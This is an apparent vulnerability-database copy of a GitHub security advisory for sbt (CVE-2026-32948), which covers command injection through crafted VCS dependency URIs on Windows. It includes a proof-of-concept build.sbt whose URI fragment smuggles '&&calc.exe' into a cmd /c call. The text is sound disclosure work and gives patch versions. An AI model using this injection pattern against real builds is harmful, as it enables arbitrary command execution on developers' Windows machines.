GHSA-X4FF-Q6H8-V7GW
Vulnerability from github – Published: 2026-03-24 16:04 – Updated: 2026-03-27 21:57
VLAI?
Summary
sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows
Details
Summary
On Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands.
Patched version
Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to sbt 1.12.8 or later instead.
Details
- Resolvers.scala L84–95 — git resolver passes
uri.getFragment()torun()without sanitization - Resolvers.scala L137–145 —
run()usesProcess("cmd", "/c", ...)on Windows, socmdinterprets&&as command separator
PoC
# build.properties
# sbt.version=1.12.5 # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
// build.sbt
ThisBuild / scalaVersion := "2.12.19"
lazy val root = project
.in(file("."))
.dependsOn(vulnerable)
lazy val vulnerable = RootProject(
uri("https://github.com/sbt/io.git#develop%26%26calc.exe")
)
Impact
Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.
Severity ?
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.scala-sbt:sbt"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.5"
},
{
"fixed": "1.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32948"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T16:04:12Z",
"nvd_published_at": "2026-03-24T20:16:27Z",
"severity": "MODERATE"
},
"details": "### Summary\nOn Windows, sbt uses `Process(\"cmd\", \"/c\", ...)` to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because `cmd /c` interprets `\u0026`, `|`, and `;` as command separators, a malicious fragment can execute arbitrary commands.\n\n### Patched version\n\nTechnically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to **sbt 1.12.8** or later instead.\n\n### Details\n- [Resolvers.scala L84\u201395](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L84-L95) \u2014 git resolver passes `uri.getFragment()` to `run()` without sanitization\n- [Resolvers.scala L137\u2013145](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L137-L145) \u2014 `run()` uses `Process(\"cmd\", \"/c\", ...)` on Windows, so `cmd` interprets `\u0026\u0026` as command separator\n\n### PoC\n```sh\n# build.properties\n# sbt.version=1.12.5 # Tested on those two versions of sbt\nsbt.version=2.0.0-RC9\n```\n\n```scala\n// build.sbt\n\nThisBuild / scalaVersion := \"2.12.19\"\n\nlazy val root = project\n .in(file(\".\"))\n .dependsOn(vulnerable)\n\nlazy val vulnerable = RootProject(\n uri(\"https://github.com/sbt/io.git#develop%26%26calc.exe\")\n)\n```\n\n### Impact\n\nWindows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.",
"id": "GHSA-x4ff-q6h8-v7gw",
"modified": "2026-03-27T21:57:02Z",
"published": "2026-03-24T16:04:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sbt/sbt/security/advisories/GHSA-x4ff-q6h8-v7gw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32948"
},
{
"type": "WEB",
"url": "https://github.com/sbt/sbt/commit/1ce945b6b79cbe3cef6c0fe9efbbd2904e0f479e"
},
{
"type": "WEB",
"url": "https://github.com/sbt/sbt/commit/3a474ab060df4dbfa825a7e7bc97e00056519800"
},
{
"type": "PACKAGE",
"url": "https://github.com/sbt/sbt"
},
{
"type": "WEB",
"url": "https://github.com/sbt/sbt/releases/tag/v1.12.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…